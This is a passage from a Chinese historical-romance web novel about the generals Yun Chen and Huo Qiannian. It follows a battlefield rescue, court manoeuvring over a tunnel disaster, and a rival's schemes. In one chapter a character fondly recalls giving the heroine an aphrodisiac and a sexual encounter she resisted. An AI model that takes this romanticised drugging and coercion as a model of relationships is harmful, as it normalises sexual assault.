“就算没有云老虎,光说去揍黑鳞骑兵一顿,我也是肯的!赶紧走吧,我手心痒得厉害!”
“我看你是皮痒的厉害!”
“哈哈哈哈哈哈——”
明知赴战场,生死笑谈间。
霍乾念突然想起云琛曾经说过的一句话:
我们做护卫的朝夕相处,出生入死都在一起。后背交给兄弟,性命交给老天。
看着眼前这些一年多来同吃同住的汉子,一个个踌躇满志,斗志昂扬,面上皆是愿为战友兄弟赴死的忠义颜色,霍乾念心中震动不已,眼眶有些发热。
对荣易撂下一句“等回来再收拾你”,霍乾念翻身上马,众将立即跟随,直奔固英城。
当黑鳞骑兵投出巨大的火油弹,照亮夜空的时候,霍乾念清楚地看见,城墙上的黑鳞骑兵们举起了弓箭。
黑鳞骑兵箭落如雨,但狮威军的战鼓比雨滴还要密:
黑鳞骑兵的杀声冲天,但狮威军的号角更响彻四野。
两军迅速厮杀在一起。
霍乾念知道,聪慧如云琛,只要听见城外交战的声音,必然会立刻趁乱逃离。
也许不需要伤亡太多将士,只为她争取一些时间就好。
霍乾念一边冲锋在最前,奋力杀敌,一边在心中估计,大约撑一个时辰就够!
想到这里,他顿时杀敌更勇,余光瞟到一个黑鳞骑兵直直冲他过来。
他砍倒面前一人,立刻就要翻身去杀,完全没料到那人竟敏捷地躲过他的刀锋——
然后跳上马,一把抱住了他。
接着又快速松手,用力在他马背上一蹬,整个**射出去,将他身后一个准备偷袭的黑鳞骑兵狠狠踹倒,顺带还抢了对方的战马。
这干脆利落的强悍身手!只能是云琛!
霍乾念料定云琛会趁乱逃出来,但根本没想到她来得这么快!他差点都没有反应过来!
他大喊一声“琛儿”,云琛立刻扯下厚重的头盔,紧急露出个笑脸,回了句“我在!”又快速投入战斗。
云琛既已逃出,就没必要再继续这匆匆一战,霍乾念立刻鸣金收兵。
黑鳞骑兵只见那狮威军跟有什么大病似的,刚悄悄摸到城墙根下,打了还没喝口水的功夫,就又突然急急拍屁股走人了,直接下意识忘了去追。
“妈的,还以为今天能杀点肉回来吃呢!”一个黑鳞骑兵骂到。
焦左泰眯眼望着匆匆远去的狮威军,沉思片刻,面无表情道:
“收兵!”
……
……
就这么着,云琛逃出来了。
还带着从地道里死里逃生的罗东东几人。
还带着颜十九和万宸。
狮威军收军回营
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,一番清点下来,发现只伤了几十个人,一个亡的都没有。
众将士都很开心,哼着小曲拾掇装备,准备安心回去睡大觉。
“实在打得太快了,我晚饭都还没消化呢!”荣易说道,高兴地走到云琛跟前,刚想没规矩地揽住她肩膀,一伸胳膊,却被她身上的黑鳞铠甲扎得生疼。
荣易摸着胳膊直吸凉气,埋怨道:
“老大,你赶紧把这身黑皮脱了吧,看你穿敌军战服,我心里特不舒坦!”
云琛忙着和霍乾念含情脉脉眼神交流,没工夫搭理荣易。
要不是碍于这么多人在场,二人这会高低得整点少儿不宜的东西出来。
一旁的颜十九见状,冷笑一声,冷眼盯着快要用眼神拉丝生个娃出来的二人,单手扯开黑鳞铠甲的锁扣,重重将铠甲和头盔扔在地上。
这声音吸引了周围不少人注意。
颜十九接着开始脱上衣,露出满是伤痕一丝不挂的上半身——
以及肩头一个明明白白的牙印。
果然,看见那牙印,霍乾念立马脸色一变,但又很快恢复正常。
颜十九将衣服扔在地上,皮笑肉不笑地问一旁的荣易:
“兄弟,有创伤药不?你们老大牙口实在厉害,咬得我好痛。”
荣易是第一次见颜十九,大概知道眼前气质不寻常的这人就是那个被俘虏的拂晓将军。
虽不是自己上级,但荣易还是比较尊重的,再加上颜十九一点架子都没有,张口就是一声“兄弟”,荣易立马就说:
“有的,将军稍等,马上给您取来!”
颜十九拍拍荣易肩膀,笑着道了句“多谢”,而后对一脸黑线的云琛道:
“小云云,你也上点药,怪我不好,你别气了,下次我轻点。”
这话一出,所有人都齐齐看向云琛,又齐齐看向颜十九肩膀上的牙印,纷纷露出“了然”的表情。
众人心说:难怪云将军冒死也要去救人,原来是为这啊……霍将军真可怜,啊不,三角恋真可怕……这男人之间的爱恨情仇,一点不比女人少呀……
荣易记得有首歌谣怎么唱的来着?我爱你你爱他,他爱谁?
这时,没眼力见的罗东东一听“小云云受伤”几个字,立马冲过来就扒云琛的铠甲。
云琛吓得赶紧捂住胸口,却没来得及护住衣襟,领子一下被扯开,露出了脖子上一大片淤紫吻痕。
围观人群里,有人发出了意味深长还带好几个拐弯的一声“哦——”
云琛大窘,想要解释,却不知从何说起,只能眼睁睁看着颜十九将衣服拾起来搭在肩上,摇头晃脑地吹着口哨离去。
霍乾念没有说话,但云琛清楚地看见他脸颊发紧,像是在咬牙切齿,脸色更是跟前朝的僵尸差不多颜色,都是铁青铁青的。
第245章 云望很忙
六月,京都城早早进入暑气。
天气一天赛一天地炎热,到了正午日头最毒的时候,除了贪玩的孩童,大街上几乎见不到人影。
皇宫内也是一样,四处都静悄悄的,只有章察院不得歇息,每日都忙得热火朝天。
作为统管全国各地奏疏的机构,章察院天天都要收到来自全国各地的百十封奏章。
大多数都是有事务奏请东宫决断或知晓,也有不少是废话连篇言之无物的,甚至有的千里迢迢送一封奏章来,只为给东宫说一声“储君殿下您好,我们这下雨啦”。
对于这类无关紧要的奏疏,章察院有的原路发回,有的只在清单列署名和概要呈上,其他重要奏章则按轻重缓急分类好,呈到东宫去。
由此可见,章察院责任重大,权力也不小。
云望自从由霍乾念举荐,来到章察院任省议史之后,就一直负责协办各地急报。
所谓急报,通常关乎水灾、瘟疫、饥荒、战祸等足以直达天听的事务。
如今楠国三面战火,大多数急报都是来自军中。
这日,云望照旧第一个来到章察院,穿过大厅一排排案桌和成堆的奏章书信,来到屏风后的单桌。
他将随身携带的公文箱放下,从里面取出帕子擦拭额头上的汗,整理官服,而后开始处理今日新到的急报。
小太监怀安轻步上前,动作熟练地为云望斟茶,又点了一壶梅子汤冰着,道:
“云大人,这几日天热,宫里添了梅子汤。知道您爱喝甜的,里面给您多加了黄糖,您喝喝看。”
云望点点头:“怀安公公费心了。”
怀安笑笑,“云大人总是这样客气。能为您煮壶梅子汤,是奴才的福分。”
云望报以礼貌的微笑。他知道这宫里个个都是人精,一个比一个会说话。
每一句话都听着让人舒坦,但哪句真哪句假就不一定了。
因为有霍乾念和云中君的背景在,云望这个“关系户”虽初来乍到,但章察院里人人都对他很客气。
太监宫女们也对他极恭敬。
再加上云望为人谦和有礼,总是说得少,做得多,一干负责事务皆妥帖无错,更写得一手漂亮的燕书,同僚们都很乐意与他共事。
云望处理完两封急报,押了口梅子汤。
汤水酸甜可口,十分解暑开胃,云望忍不住一口气喝了小半壶。
刚放下壶,怀安便上来又将汤满上。
云望问:“有劳怀安公公,这梅子汤甚为可口,可否请公公问一问御膳间,这梅子汤做法如何。”
怀安笑道:“就知道云大人会喜欢,晚些时候我替您问来。”
“多谢怀安公公。”云望说罢,又翻开一封急报。
只扫了几行,他顿时脸色微变,急忙去瞧落款。
是地方谏院上奏的一封**霍乾念的奏章,里面说到一起涉及五千余百姓葬身地道的重大事故。
奏章大概讲了事故的来龙去脉,建议对霍乾念进行重罚,以平民愤。
云望将奏章合起来,手指轻扣着封面,凝神锁眉了一会儿。
片刻过后,他将奏章列为发回重报的行列,然后在清单上写下一句概要“事不明晰,责任不明,发还重报。”
照以往经验来看,东宫大概率不会注意到这句话,每次对于发还重报的清单部分,都是草草略过,偶尔才会过问。
在地方谏院详细调查完事故,再次送来急报之前,云望有充足的时间密信告知霍乾念,叫他做好应对准备。
心里记挂着这件要事,但云望仍旧同往常一样,一直处理完所有急报,在宫门将下钥之时才画卯离去。
将出宫门时,小太监怀安赶过来,将一
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张梅子汤熬煮方子、整整两大包汤料包放到云望马车上。
不等云望推辞,怀安笑道:
“大人莫客气,能让您喜欢,是这梅子汤的福气。”
云望不再多言,道谢离开。姿态平和从容,一如往常。
可当马车一驶进云府,还未停稳,云望就从马车上跳了下来,急匆匆扎进书房,开始奋笔疾书。
写了几行字,云望觉得不妥,将信纸撕碎。
这时,云望的妻子华氏听闻有异,想来看看自家相公那一向沉稳的性子,遇了何事这样着急。
华氏刚走到书房门口,与云望对视上,就见他眼睛一亮,快步上来拉住她,反手关严了书房门。
“你怎么了,这样着急?官服都还没换呢。”华氏说。
云望将华氏拉到书桌前坐下,将信纸铺好,毛笔润好墨,递进她手中,道:
“有件事颇为机要,我必须提前知会姐夫,但不便留下我的笔迹。我说,你写。”
华氏不太懂,但没有多问,只是照做。
自跟着云望来到京都以后,她很少出门与其他京城贵妇交际。
她只管守着云望和云莲城。
她虽不懂官场,但懂自己的夫君,从云望身上,她感觉到做官的不易,也懂云望的抱负。
按云望所说的,华氏认真写好,将信密封起来,“相公,若只寄信过去,恐怕令人怀疑。”
“嗯,今日从宫里带了些梅子汤包,一并寄给姐夫。”云望温和笑起,“汤包寄出去,方子留给你,你喜欢的话,叫厨房做些来喝。”
华氏抿嘴而笑,“知道啦。”
亲眼看着下人将梅子汤包和密信一同封好,将打包捆扎之际,云望突然叫停,又叫人拿了两匣子上好的红姜蜜糖放进去,自言自语道:
“这个做糖水很好喝,一并拿去吧。”
第246章 真会挑时候
十日后,一封来自狮威军主帅的告罪书急急送至宫中。
按霍乾念这个级别,又是郑重告罪的,章察院不敢耽搁,直接送至院史手中。
大厅内,所有省议史都围着院史,瞧着那告罪书缓缓打开。
众人都将脖子伸长了去看,一目十行,接着就是一片倒抽凉气的声音。
“天呐!**五千多老百姓!这……这……”
“人间**啊!怎能如此?!”
众人震惊议论。
云望站在人堆里默不作声,眼神快速扫遍整个告罪书。
见全书字迹工整,表述细致完整,涉及告罪之处皆言辞恳切直白,全力揽责请罪,并后附一干妥帖的惩罚、赔偿、安置的建议,云望心中大大安定。
院史将告罪书合起来,手都有些颤抖,说了句“这等大事**,需得立即禀告东宫!”便急匆匆整理官服而去。
望着院史焦急的背影,众人不免替人忧虑。
“这等古今未闻之**,必引东宫震怒,只怕还要引起民怨,不妙不妙。”
“霍将军这不是送告罪书来了嘛!且属于自行请罪,而非被谏院**,这样一来,事情性质完全不同,处理流程也天壤之别了,应该不会重责。”
“是啊,何况此事本就是为营救百姓而生,若无此举,只怕三万百姓都要沦为敌军肉糜。”
“此言差矣,功过不能相抵!”
“如今狮威军战守东南,若真降罪重罚,谁来率军战敌?”
“霍将军也太实诚了些,那告罪书里言词激烈,简直将自己骂得体无完肤,甚至自请削侯位,降官衔,还愿领军杖八十,太过了太过了!”
“这等人祸,必是属下不力,霍将军却只字不提,一力揽责到自己身上,唉!不容易!”
众人议论纷纷,明显分为“主张严惩”和“主张以功抵过”的两派。
一个省议史问云望:“云大人怎么不说话,您觉得应当如何?”
众人齐齐看向云望,都知道他是霍乾念举荐来的,估计肯定要力鼎“以功抵过”。
然而云望只是平和笑笑,仿佛霍乾念这个人和自己毫无干系,他说:
“在下初来乍到,乍听此事,实在痛心。以在下拙见,此案大事化小小事化了最为妥当,否则最为难的应当是东宫,而不是霍将军。”
众人皆发出赞同的声音,也很惊讶云望竟然是个中立派,而且头脑清晰,一语中的。
“等着看吧,谏院的**奏章肯定已经在路上了,这事有的闹呢!”
“霍将军已经先行请罪,事情已发,**来了也无妨,已经没什么意义了。”
见众人还在议论,没有要散去的意思,云望自行坐回案桌,开始处理文书。
云望的神情一如平常,慢慢品完一整壶梅子汤后,他将一封新急报拿出来,瞧那封面制式,应该又是狮威军的。
他将急报打开,看了两眼,对着落款处的“云琛”二字愣了片刻,而后“啪”的一声将急报合上,连登记都未做,直接塞进了“废话连篇没意义”的退回行列。
到了夜里,云望再次于书房中与华氏共同写信的时候,华氏觉察出两分滋味,她道:
“琛姐姐荣升少将之后,似乎还未向东宫谢恩,第一封奏章就是给别人**平罪的,也太……太……”
华氏不知道怎么措辞,云望接过去:“太憨了些。”
华氏忍不住捂嘴笑,“确实是。第一封奏章怎么也得谢恩问安并请功才妥当。”
“如今地道**刚刚事发,需得让事情大力发起来,才能将姐夫置于无辜被牵连、令人同情的位置,届时再将真正责任下属拿出来问罪,最多给姐夫一个忙于战事而治下疏忽的小罪名,便一切都可平了。琛姐姐这封为那什么知罗军师**求情的奏章来得太早了,反而坏事。”
云望有点发愁地摁住眉头,“琛姐姐是个率直的性子,不懂官场这些弯弯绕绕,更不知如何迎合君上。如今琛姐姐做了少将,级别上已可以不通过上级,直接奏请东宫,只怕她还会再上书的。”
华氏轻轻叹口气,“琛姐姐不易,既要瞒住女儿身,又要处处小心避嫌,不能让人知道与你和云氏有瓜葛,也是辛苦。”
云望嘴角微弯,“不妨,有我在,没事。”而后又像是想起什么,赶紧从书架上拿出一整盒制作精良的毛笔和名家字帖,对华氏道:
“昨儿的梅子汤包裹寄出去了吗?若没寄的话,将这些一并带去。琛姐姐刚**字不久,那字实在难入东宫圣眼,若赶上殿下心情不佳的时候,只怕会遭斥责的。”
夫妇二人在书房里忙活了好一阵,直到云莲城肚饿跑来拍门,二人才作罢。
此后,信马飞驰。
十七日后,一个装了拆、拆了装的大包裹被送进狮威军的营地。
云琛和霍乾念窝在主帅大帐里,她一边将红姜糖水兑进梅子汤里,美美地喝着,一边打开云望的信。
霍乾念在旁边忙着煮第二壶梅子汤,奇怪问:
“云望有信给你?他很有分寸,知道避嫌,免得被人猜到你二人关系。怎么会突然有信给你?”
云琛躺
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到榻上去看信,翘起二郎腿轻轻晃悠,“不知道。可能是为了前几天我的奏章被原路退回的事吧。”
“你写奏章了?怎么没有同我说?”霍乾念停下手中动作,惊讶地问。
云琛并不正眼看他,反而将身子转过去,背对着他,小声道:
“没啥,就是给知罗求情的……你们都顾着请罪论罪,连一个给她求情的都没有,太过分了。”
霍乾念眉头突突跳了两下,心说还好有云望在,还好还好。
理解云琛作为女子,所以能更设身处地为知罗着想的心情,霍乾念道:
“在这世道,女子做官不易,要比男子承受更多。还得更优秀才能服众。可是琛儿,这事若换做你,你希望因女子身份而得到宽容轻罚,还是更希望承你该承的罪责,以证明你与其他人是一样的,不必因为性别而看低你?”
云琛愣了一下,她没有想过这个问题,但心中已下意识作出抉择。
若换作是她,一人做事一人当,她会揽下所有责任,好不叫任何人因她受连累。
她的这份心疼,反而对知罗来说是不平等,不公平。
“你说得对。”云琛坐起身,想要再喝一壶梅子汤,又觉得有些无味,叹气道:
“不过,功是功,过是过。知罗有错,但在突发那样可怕的情况后,她能当机立断挖路救后面的人,这魄力和决断很厉害,若非如此,只怕连几十个人都活不了,唉……”
见话题越说越沉重,霍乾念赶紧将新煮好的梅子汤滤进碗里,放在冰隔里镇着,然后走到云琛面前蹲下,牵起她的手,仰头望着她,温声道:
“这事你别担心了,我与云望有安排的。倒是你,若再有事上书奏请,记得同我说一声,叫我心里有个数。”
话说到这,云琛有点不好意思地挠头,“我今天早上又发出去一封,现在同你说,来得及不?”
“又发一封?奏请什么事的?”霍乾念问。
云琛认真道:“给颜十九求情的。他率两万东炎的借兵战敌,吃了败仗,丢了固英城,致使黑鳞骑兵一直打到烟城去了。虽说胜败乃兵家常事,但眼下已将他救出来,只怕东宫要问罪,我就写了一封奏章给他求情。他是我朋友,我不能坐视不理。”
霍乾念只感觉两眼一黑,后槽牙不自觉就咬在一起了。
他深吸一口气,“琛儿你真会挑时候……这两件事应当前后错开日子,若撞在一起,惹得东宫不怒都不行了,只怕要连累地道**的决断……你、你……算了,让云望忙去吧……”
第247章 无比可笑
小暑,杨梅新至。
离狮威军营地最近的江宁城郊外,有一处杨梅果园。
每当有嘴馋的家伙来偷摘杨梅时,看园子的老大爷都会背着手,板着脸,出来将人教训一顿。
可惜狮威军的将士们都是年轻小伙子,脸皮厚得很,都知道老大爷是个“纸老虎”。
因此,将士们总是一边笑嘻嘻地祸害杨梅树,吃得饱肚溜圆,一边在园子里寻到扫地、搬运、挖地窖的活,麻利地替老大爷干完。
因为将士们太频繁“光顾”,最后甚至到了小队团建的地步,看园子的老大爷干脆将园子四周的栅栏全拆了,只管躺在枝繁叶茂的杨梅树下摇扇子睡觉。
一觉醒来,泉水挑好了,肥料添完了,地也扫了,除了杨梅树光秃,其他到处都干干净净,连颗核都不见乱丢。
老大爷不免感叹这狮威军委实军纪严明,是群好孩子。
他有些想不通,这么好的孩子们,必然有好官带着,怎么会惹出害死五千多固英城老百姓的大事呢?闹得全国沸沸扬扬,不得安宁。
“唉......”老大爷长叹一口气,不免替人忧心。
正当老大爷晃着摇椅,将睡着的时候,一个身穿官服的女子幽幽策马,行至门前。
为了方便将士们不用翻墙爬树,能从各个方向进果园,果园的栅栏已经全拆了。
但那身穿官服的女子却还是翻身下马,站在那几根简陋木头搭建的园子正门,远远朝老大爷行礼:
“老人家,听说您这里有杨梅,多少钱?我想买一些。”
从未见过女子穿官服,老大爷颇为新奇,迎上去一看,发现对方官服上是个狮头标志,和那群天天来吃杨梅的小子们身上一样的,忍不住问:
“您是狮威军的?”
知罗再次行礼,“是的。”
“女子还能做官?”
“不,我不是官了。”
听出知罗语气里的黯然,老大爷不再多说,搬来梯子爬上树,捧了最熟的两枝梅子下来,放在纸包里扎好,递给知罗。
知罗感谢收下,“老人家,请问多少钱,我给您。”
老大爷摆摆手,“你们军里那些毛头小子哪次来给过钱,不用钱,有你们三十万大军给我守园子,我高兴得很,拿去吃吧!”
见老大爷很固执的样子,知罗不再坚持,再次道谢。
将离去之时,老大爷像是感叹,又像是自言自语,道:
“不做官了好啊,不做官就不拼命,就不危险。谁说非要当大官才叫有本事,相夫教子做个好妻也难呢!”
知罗面色一郁,行礼离开。
她捧着杨梅,慢慢走回狮威军的营地。
如今东宫斥令已下,她被免去所有官职,罗东东从营长被降为士官,霍乾念被罚俸一年,削级一等。
她已不再是狮威军的军师,可将士们见到她,还是会道一声“军师大人安好”。
她既不解释,也不回应。
因为她马上就要离开这里,去京都东宫领罪。
这条努力了十多年才攀登至峰顶的路,只一夜之间,就又回到原点。
从今以后,她不再是令人敬佩的狮威军女军师,只是小女子知罗了。
前往东宫的马车已经在等,知罗想去和她的少年将军道个别。
走进主帅大帐,霍乾念正在里头看公务文书,云琛罕见地不在帐中。
霍乾念放下手中文书,神情没有任何特别。
知罗突然不知道自己该行什么礼,是以下属自称,还是以“小女子”自称。
似乎看出知罗的窘迫,霍乾念率先开口:
“京都城已打点妥当,你但去无妨。”
知罗脸色微白,道了声“多谢将军”,而后忍着眼泪,抬眼看向霍乾念。
他今日没有穿铠甲,只穿着一身茶色织金**纹道袍,玄染金线的醒狮腰带束在正中,对开圆领微微衬着清瘦的下颌。
高挺的鼻梁之上,是一双不轻易透露喜怒,又仿佛洞察一切的凤眼。
望着那双眼,好像跌进望不到尽头的幽夜。
无需任何金玉磐石做背景,也不用任何装点在身,霍乾念只是两手搭在扶手上,简简单单坐在那里,便是气宇轩昂,那般不可一世。
知罗心头酸楚:就是这样的霍乾念,那样令云琛喜欢吗?
难道这世上,只有她知罗在意世俗的眼光,霍乾念与云琛却可以做到那般不在乎吗?
一句话也说不出口,知罗就那么直直望着霍
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乾念,泪如雨下,直到视线彻底模糊,根本看不清霍乾念的脸。
看向知罗怀里的杨梅,霍乾念眉头微皱,说出了他本来不愿说的话:
“知罗,你很聪明,但你想得太多,顾虑太多。敏锐也等于敏感,骄傲也等于一叶障目。希望你明白。”
知罗露出一个惨淡的笑容,“是我想的太多吗?我想的所有,将军也都想到了,不是吗?”
话说到这份上,已没必要再遮遮掩掩,知罗直视着霍乾念,苦涩开口:
“您一直都知道,我……爱慕云将军。”
霍乾念微不可察地叹息一声。
知罗是将对云琛的心意掩藏得极好,可瞒得过所有人,不可能瞒过时时刻刻关注着云琛的霍乾念。
无论是定下云琛去偷防布图的那日,还是离开烟城时,霍阾玉在郊外月下为手持长剑的云琛送别,恰被知罗撞见,随后她便面色忧郁了许久的那日。
知罗一切心思,全都被霍乾念看在眼里。
霍乾念道:“‘战城门’与‘闯西南’,一黑一白两张纸。很多人都知道我与云琛有拈阄的习惯,却不知,若纸张颜色不同,云琛总是习惯选深色。
这点你发现了,所以将‘战城门’写在黑色纸上。你的嫉妒心,让你不想她与青楼的姑娘们多接触,你想她去战城门。但你太不了解云琛,她从来不是私情大于公务的人。”
知罗脸色一白。
没错,她确实想的多,想得细,总将各种各样的小心思用在云琛身上。
因为看到云琛与霍阾玉在一起,她心里便吃味发酸;看到云琛与霍乾念在一起,她便想要发狂。
只要一想到云琛要去“闯西南”,去城里和那么多搔首弄姿的青楼姑娘混在一起,光是想象那情景,知罗便嫉妒得火烧一般。
正是这样的嫉妒和公私不分,最终叫五千多无辜百姓为此丧命。
这一点,霍乾念后来也许猜到了,但他永远不会说出口。
这不是为了保知罗,只是不想让云琛知道真相,心中难安。
看着怀里溢出淡紫色汁水的梅子,那是云琛喜欢的味道,可好像已脏得不配送到云琛面前。
知罗落下两行泪,觉得自己无比可笑。
第248章 你喜欢我吗
知罗在霍乾念大帐里流泪剖白的时候,营地最角落的另一处帐篷里,完全是一幅截然不同的画面。
云琛正抱着胳膊坐在饭桌前,对着一桌已经凉透的酒菜直皱眉。
颜十九则正襟危坐在书桌旁,表情严肃地执着笔,一笔一划地在纸上写下“遗书”二字。
“霍乾念有霍帮做靠山,得东宫赏识,朝中有人脉,有钱,有权,有兵,有功。”颜十九苦笑一声,“而我,什么都没有。”
见惯了撒泼犯浑耍无赖的颜十九,从未见过他做小伏低、愿意承认自己一无所有的样子。
云琛一时间有些无措,一会儿觉得这厮又戏精上身,在那演,一会儿又心里替他难受,却不知道该怎么回话。
颜十九发出一声带着失望的苦笑,继续在“遗书”上涂涂写写,嘴里念叨着:
“我什么也没有,只有一件事,帮我照顾好阿灵”。
云琛张了张口,没有说话,心情颇为复杂。
为了遵守与万宸之间的约定,她一字没有提,她已知道颜十九在死牢中受尽折磨的原因。
但她懂得,那非人的痛苦与折磨,已令他再难露出阳光大咧的笑容。
一封痛斥并召他回京领罪的东宫令,更是叫他有苦难言。
按朝中目前所议,颜十九将要面对的,最少是牢狱之灾,最高当斩首谢罪。
主将吃了败仗,痛失城池,没人会关心他从前赢了多少场,只将这失败高高悬起,永远挂在他的背上。
她明白,他的前途实在凶险又黯淡。
只见颜十九笔下不停,语气低沉又道:
“听说,为了平地道**五千百姓枉死之事,霍乾念多番运作,令朝中大多数官员都替他说话,再加上由霍帮支付三年军费为条件,这案子便就此揭过。你们那军师也只是免职,不作其他任何处罚。”
“是。”云琛知道,颜十九连皇宫都没去过,他在朝中无权无势,没人替他说话。
颜十九将写了好久的“遗书”仔细折叠起来,递给云琛,郑重道:
“拜托了。”
云琛皱眉看着颜十九,瞧他一副快要哭出来的样子,只得伸手接过,好好将“遗书”揣进怀里。
有些话,云琛心里知道,但不能说。
虽然颜十九已是她一同出生入死过的朋友,但友情归友情,狮威军的机密不能随意泄露,她没办法告诉颜十九,她和霍乾念其实已成功在幽州借到十万战马。
她已与霍乾念商议好,等战马一到,天下皆知,便编造一番事务,在这大功劳里算上颜十九一份,最起码能保他一命。
她安慰颜十九:“别怕,放心地去吧!”
颜十九点点头,动作迟缓地拿起筷子,在一桌子美味佳肴里挑挑拣拣,幽怨道:
“好,吃了断头饭,我就放心去。”
见他故意曲解她的意思,云琛抬手就想给他一下,手扬到半空又忍住了,改为轻拍他的肩膀:
“别想了,我不能告诉你为什么,但我保你不死,你放心回京都去,有我罩着你!”
瞧着云琛信誓旦旦的样子,颜十九眼眶一红,“小云云,虽然知道你是在吹牛,但我很开心你对我这么好。”
说完,颜十九继续扒拉桌子上的菜,一口也吃不下去,委屈地撇嘴:
“真行,一桌子没一个我爱吃的。”
云琛咧嘴,“对不住,是我马虎,竟不知道你喜欢什么。”
这时,颜十九突然放下筷子,深深看着她,“你知道我喜欢什么,你知道的。”
云琛后背一僵,许多画面一股脑地涌上心头,叫她浑身都冒起鸡皮疙瘩。
自这次从固英城逃出来之后,她已隐约察觉到那么一丝丝说不上来的感觉。
她想问,又怕是自己多情;不问,心里又总不踏实。
若她察觉到的那一丝是真的,她实在不知今后该怎么面对颜十九,只怕再也不能像如今这样自在。
避开颜十九的眼神,她开口问:
“颜十九,你喜欢我吗?”
他像是已经预料到这个问题,脸上没有一丝变化,只是呼吸变得有些急促,目光愈发灼灼。
他瞧得出她强装镇定之下的慌乱、试探,以及让他无法忽视的忐忑。
她怕听到一个肯定的答案,而非盼他说“是”。
这感觉让他想抓狂,想要将这桌子上所有酒菜都通通横扫在地——
然后一把将她摁在这桌上,完成那夜在固英城青楼里,在那有火把掠过的窗旁,他想要却没有越过的雷池。
那药粉是他亲手递给她的,那时她蒙着眼睛,他却看得清清楚楚。
他也不知道自己怎么了,在那么要紧的境地,偏偏鬼使神差似的,把那媚药粉递了过去。
她沾了药粉,轻涂在他后腰,他登时就开始后悔,这药性怎
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么那么烈。
后来的事,他不愿去回想,到底是那药性太厉害,亦或是酒不醉人人自醉,不过是一个借口而已。
他记得那时她躺在他身下,惊慌失措得像受惊的小鹿,会用女人小小的拳头去抵他的肩膀。
当感觉到痛苦的时候,她的眉头会轻轻蹙在一起,眼中带着薄薄的水雾。
只一眼,便令他神魂颠倒。
不敢再继续往下想,深怕就要控制不住自己,颜十九闭上眼,轻笑一声:
“啊对对对,我喜欢你,喜欢得要死。我准备娶你,这样等我回京都掉脑袋之后,就有你帮我收尸了,到时候我就把所有财产都留给你,让你当个有钱快活的小寡妇,如何?我是不是堪称人间楷模?”
听着这样敷衍又不着调的玩笑,云琛暗舒一口气。
……
……
一个时辰之后,前往京都的马车开始催促。
云琛帮颜十九将只装了两件换洗衣裳的包裹收拾好,将他和万宸送上马车。
坐上马车,颜十九又将身子从车窗里探出来,问:
“对了,那日见你脖子上都是我的吻痕,霍乾念竟不生气?今日还允许你来给我送行。他是不是对你腻了?这样不在乎?他可不是什么大度的人!”
云琛赶紧朝四周看去,见来来往往的将士们都离得远,没人听到这边,她赶紧红着脸将颜十九从窗子里塞回去,低声骂道:
“他不疑我,我亦不疑他。你懂个屁!”
颜十九撇撇嘴,“行行行,我就别咸吃萝卜淡操心了,我还是回京都送人头去吧——永别了,小云云。”
云琛再次安慰他:“别怕,你长得挺好,脸皮又厚,你这种人不会轻易死的。”
听了这句,颜十九开心地笑起来,朝她挥手再见。
望着逐渐远去的马车,云琛心头复杂又担忧。
她和霍乾念虽能保颜十九性命,却难保他不受一番皮肉之苦,只怕今后得去牢里才能见他了。
想到这里,她想起颜十九给她的遗书。
猜测上面应该是颜十九嘱咐她的一些府中事务,包括照顾阿灵的事。
如果颜十九最后真的被罚入狱,她的确得操心帮他料理府上。
她将怀里的遗书摊开,认认真真从头开始看:
“‘遗书:一、二、三、四、五,上山打老虎......’颜十九!!你大爷的!!!”
第249章 杨梅
回京都的路程漫长又枯燥,天气炎热,马车里像蒸笼一样,闷得人一身汗。
万宸坐在前面驾车,望了眼正在车里看信的颜十九,说道:
“主子,您身上伤还未愈,出来吹吹风吧,当心伤口汗热化脓。”
颜十九专注地看信,头也不抬,语气很随意:
“无妨,不过是些看起来吓人的皮肉伤。你下手有分寸,我知道。”
万宸不再说话。
颜十九随后将手中信卷成细长,用火折子点燃。
信纸燃烧成灰烬,只有两块碎片没有烧干净。
其中稍大的一块,隐约可见“摧毁意志,未成”几个字,另外小小的一块似乎是个“云”字。
将厚厚一摞未拆封的信码好,当作枕头,颜十九躺下去,将那小小一块信纸放在舌尖上,一点点湿润,卷进口中。
品尝,碾碎,吞下。
嘴里充满苦涩刺鼻的味道,他面无表情地开口:
“她问的时候,你都照我教的说了吗?”
“主子放心,都说了。一共三十五个字,一字不落。”万宸回答。
主子说了,若换做是你,也一定如他一样。你们本就是一样的情意。他说幸好,受罪的是他。”
这三十五个字,万宸在地牢里背了半年,做梦都不会忘记,断然不会说错。
幸好,字字有用,足以让一个人感动愧疚到无以复加。
“辛苦你了,陪着我在死牢里住了半年。”颜十九说着又从头下方抽出一封信拆开,眉头微沉。
“告诉阿泰,马快到了,准备歇一歇。”
万宸赶紧谢恩,不敢说辛苦,他了解颜十九的性子,做事必万全,有时甚至假戏真做到他们自己都差点当真。
只有这样,才足以骗过这天下许多双眼睛。
万宸记得在死牢的时候,当云琛破门来救他们时,并没有第一时间发现躺在地上装昏死的万宸,但万宸却暗中瞧得分明。
云琛虽然目的明确要救人,眼睛却一路走一路看,早已将死牢里里外外看得仔细。
她并不像颜十九是个多疑的性子,只是她行事谨慎认真的本能。
她将死牢的墙壁、锁扣磨旧、石阶上久无人踩踏的青苔、牢房里的恭桶......所有东西都瞬息瞧了一遍。
包括那盏凝结着厚厚灯油的灯盏,她都看过一眼。
万宸曾觉得,主子太小心了些,住在死牢已经足够,不至于要将戏做得那么足,连灯都只点个最昏暗的,半年来堆积的那么多信都不看了。
结果证明,颜十九是对的。
千里之堤溃于蚁穴,任何一个细节都可能决定一切的成败。
万宸道:“主子,在外的探子是否都撤回来?”
颜十九看着信,眉目越来越深,“撤回来吧。已经知道她的身世,就没必要再费力查访。”
从对云琛动了心思之后,颜十九便前赴后继地派出了近百人去查访她的身世背景。
原本只是想了解她,却不想霍乾念先他一步。
没想到,云琛竟来自大名鼎鼎的幽州云氏。
眼下虽没有确凿证据证明这一点,但颜十九知道,除非云中君脑子进水,否则不可能二话不说,就将十万匹战马借给狮威军。
“眼下看来,她的身世还要瞒上一阵。大概是想打个大胜仗,再以功抵过,表明女子身份。”颜十九开始细细琢磨,“听说幽州云府收了一千多抬重礼,看样子是霍乾念的买马钱。”
不是重礼,是红绸封箱和孔雀,看着像是提亲的。这句话万宸没敢说。
他们的探子遍布各城,汇报事务皆仔细非常,颜十九不可能没看清楚信,只是不愿承认罢了。
万宸不想去触颜十九的霉头,他只知道如今一切都在按计划进
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行,形势大好,他们终于名正言顺地离京都皇宫越来越近了。
想到这里,万宸愈加振奋,心思也放得更加小心谨慎,将马车驾得又快又稳,朝着前路奔去。
在超过一辆马车时,并行而过的瞬间,对方车窗里突然直直飞出一团黑影,穿过窗子,落在了颜十九身上。
